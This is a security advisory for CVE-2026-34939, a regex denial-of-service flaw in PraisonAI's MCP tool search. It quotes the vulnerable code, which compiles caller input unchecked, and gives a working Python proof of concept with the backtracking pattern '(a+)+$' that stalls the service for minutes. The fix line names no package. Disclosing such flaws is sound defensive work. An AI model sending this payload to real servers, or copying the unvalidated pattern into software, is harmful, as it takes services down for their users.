CVE-2026-34939

Description

### Summary `MCPToolIndex.search_tools()` compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the `re` engine, blocking the Python thread for hundreds of seconds and causing a complete service outage. ### Details `tool_index.py:365` (source) -> `tool_index.py:368` (sink) ```python # source -- query taken directly from caller, no validation def search_tools(self, query: str) -> List[ToolInfo]: import re # sink -- compiled and applied with no timeout or exception handling pattern = re.compile(query, re.IGNORECASE) for tool in self.get_all_tools(): if pattern.search(tool.name) or pattern.search(tool.hint): matches.append(tool) ``` ### PoC ```python # tested on: praisonai==1.5.87 (source install) # install: pip install -e src/praisonai import sys, time, json sys.path.insert(0, 'src/praisonai') from pathlib import Path mcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server' mcp_dir.mkdir(parents=True, exist_ok=True) (mcp_dir / '_index.json').write_text(json.dumps([ {"name": "a" * 30 + "!", "hint": "a" * 30 + "!", "server": "test_server"} ])) (mcp_dir / '_status.json').write_text(json.dumps({ "server": "test_server", "available": True, "auth_required": False, "last_sync": time.time(), "tool_count": 1, "error": None })) from praisonai.mcp_server.tool_index import MCPToolIndex index = MCPToolIndex() start = time.monotonic() results = index.search_tools("(a+)+$") print(f"Returned in {time.monotonic() - start:.1f}s") # expected output: Returned in 376.0s ``` ### Impact A single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.

How to fix CVE-2026-34939

To remediate CVE-2026-34939, upgrade the affected package to a fixed version below.

• —upgrade to 4.5.90 or later

Is CVE-2026-34939 being exploited?

Low — EPSS is 0.0%, meaning exploitation activity has not been observed at scale.